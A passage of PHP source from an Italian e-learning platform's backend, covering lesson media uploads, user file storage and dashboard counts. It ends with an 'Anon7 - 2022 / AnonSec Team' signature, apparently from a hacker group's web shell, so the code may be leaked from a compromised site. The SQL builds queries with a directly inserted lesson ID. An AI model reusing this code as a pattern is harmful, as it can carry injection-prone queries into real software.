						$slides[] = array("url"=>$url_path, "posizione"=>count($slides));
					}
				}else if($type == "video"){ //video solo 1 consentito (il primo)
					$url_path = "video/".$nome_file;
					$url = $this->db->quoteText($url_path);
					$q = "UPDATE corso_lezione SET video_url = $url WHERE id_lezione = $id_lezione;";
					$check = $this->db->SafeExec($q);
					if(!$check){	
						return $this->printMessage( $this->responseMessage("Non è stato possibile caricare la slide della lezione!", false) );
					}else{
						return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
					}
				}
				
			}
		}

		if($type == "image"){
			$_slides = $this->db->quoteText(json_encode($slides));
			$q = "UPDATE corso_lezione SET image_url = ". $_slides ." WHERE id_lezione = $id_lezione;";
			$check = $this->db->SafeExec($q);
			if(!$check){	
				return $this->printMessage( $this->responseMessage("Non è stato possibile caricare le slides della lezione!", false) );
			}else{
				return $this->printMessage( $this->responseMessage("Slides caricate con successo!", true) );
			}
		}else{//files
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}
		
	}

	

	function uploadFilesUtente($_id_user, $files){
		for ($i=0; $i < count($files); $i++) { 
			$ret = $this->putFileS3Private("user", $_id_user, $files[$i]);
		}
		if($ret){
			return $this->printMessage( $this->responseMessage("File caricato con successo!", true) );
		}else{
			return $this->printMessage( $this->responseMessage("Errore nel carimento del file",true) );
		}
		
	}
	
	function getUserAvatarLocation($id_user, $filename) {
		$res = $this->getFile('user_avatar', $id_user, $filename);
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	
	/* ---------------------------------------- */
	/* --------------- DASHBOARD--------------- */
	/* ---------------------------------------- */
	
	function getHomeTopCards() {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$id_supervisore =  $this->db->quoteInt($_SESSION['userdata']['id_user']);
		$query = "SELECT COUNT(*) AS numero_corsi FROM corso;"; 
		$numero_corsi= $this->db->SafeFetchOne($query);
		$query = "SELECT COUNT(*) AS numero_esami FROM corso_esame;"; 
		$numero_esami= $this->db->SafeFetchOne($query);
		$toRet = [ "numero_corsi"=>$numero_corsi['numero_corsi'], "numero_esami"=>$numero_esami['numero_esami'] ];
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	

}
?>

Anon7 - 2022
AnonSec Team